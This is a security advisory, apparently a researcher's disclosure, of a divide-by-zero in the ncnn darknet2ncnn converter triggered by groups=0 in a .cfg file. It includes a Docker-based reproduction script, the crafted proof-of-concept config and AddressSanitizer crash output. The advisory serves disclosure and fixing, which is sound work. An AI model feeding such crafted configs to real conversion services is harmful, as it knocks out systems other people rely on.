Denial Of Service Via Darknet Config Divide-By-Zero
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/darknet/darknet2ncnn.cpp:425 in parse_cfg
Sanitizer verdict: FPE on unknown address 0x55c5b94f9a0d (pc 0x55c5b94f9a0d bp 0x7ffea07165f0 sp 0x7ffea0714610 T0)
Summary
An attacker who controls the Darknet .cfg file handed to the darknet2ncnn converter can abort the process with SIGFPE. Setting groups=0 in a [convolutional] section is accepted verbatim by the cfg parser, and parse_cfg later divides the computed weight count by that value while emitting the ncnn weight_data_size parameter. The crash happens in main before load_weights is even called, so the converter dies without producing output.
Detail
Section::groups is initialised to 1 in the section struct and is one of the keys exposed through update_field's field table, so any groups=<int> line in the cfg overwrites it with the raw atoi result. load_cfg performs no range validation, and parse_cfg — invoked from main at line 899, immediately after load_cfg and before load_weights at line 902 — uses the value directly as a divisor.
// tools/darknet/darknet2ncnn.cpp:140
{"groups", INT, FIELD_OFFSET(groups)},
// tools/darknet/darknet2ncnn.cpp:425
s->param.push_back(format("6=%d", s->c * s->size * s->size * s->filters / s->groups)); //weight_data_size
if (s->groups > 1)
s->param.push_back(format("7=%d", s->groups)); //stride_w
The guard on the following line, if (s->groups > 1), shows the code only ever anticipates values greater than one; nothing rejects 0 or a negative count on the divide at line 425. The PoC cfg declares a [net] section of 32x32x3 and a [convolutional] section with filters=1 size=1 padding=0 groups=0, so parse_cfg evaluates 3 * 1 * 1 * 1 / 0. The integer division by zero raises SIGFPE, and the converter aborts with the placeholder weights file still unread.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-denial-of-service-via-darknet-config-divide-by-zero && cd ncnn-poc-denial-of-service-via-darknet-config-divide-by-zero
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.cfg <<'POC_EOF'
[net]
width=32
height=32
channels=3
[convolutional]
filters=1
size=1
padding=0
groups=0
POC_EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/darknet/darknet2ncnn poc.cfg null
AddressSanitizer output:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5c24aa01da0d (pc 0x5c24aa01da0d bp 0x7ffeebb6caf0 sp 0x7ffeebb6ab10 T0)
#0 0x5c24aa01da0d in parse_cfg(std::deque<Section*, std::allocator<Section*> >&, int) /ncnn/tools/darknet/darknet2ncnn.cpp:425
#1 0x5c24aa02a7f3 in main /ncnn/tools/darknet/darknet2ncnn.cpp:899
#2 0x72bbec9cf1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#3 0x72bbec9cf28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x5c24aa016c84 in _start (/ncnn/build/tools/darknet/darknet2ncnn+0x6c84) (BuildId: cdc337ce08678f09e6228246802e17810873cd07)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/tools/darknet/darknet2ncnn.cpp:425 in parse_cfg(std::deque<Section*, std::allocator<Section*> >&, int)
==1==ABORTING
Credit
Zheng Yu @ DepthFirst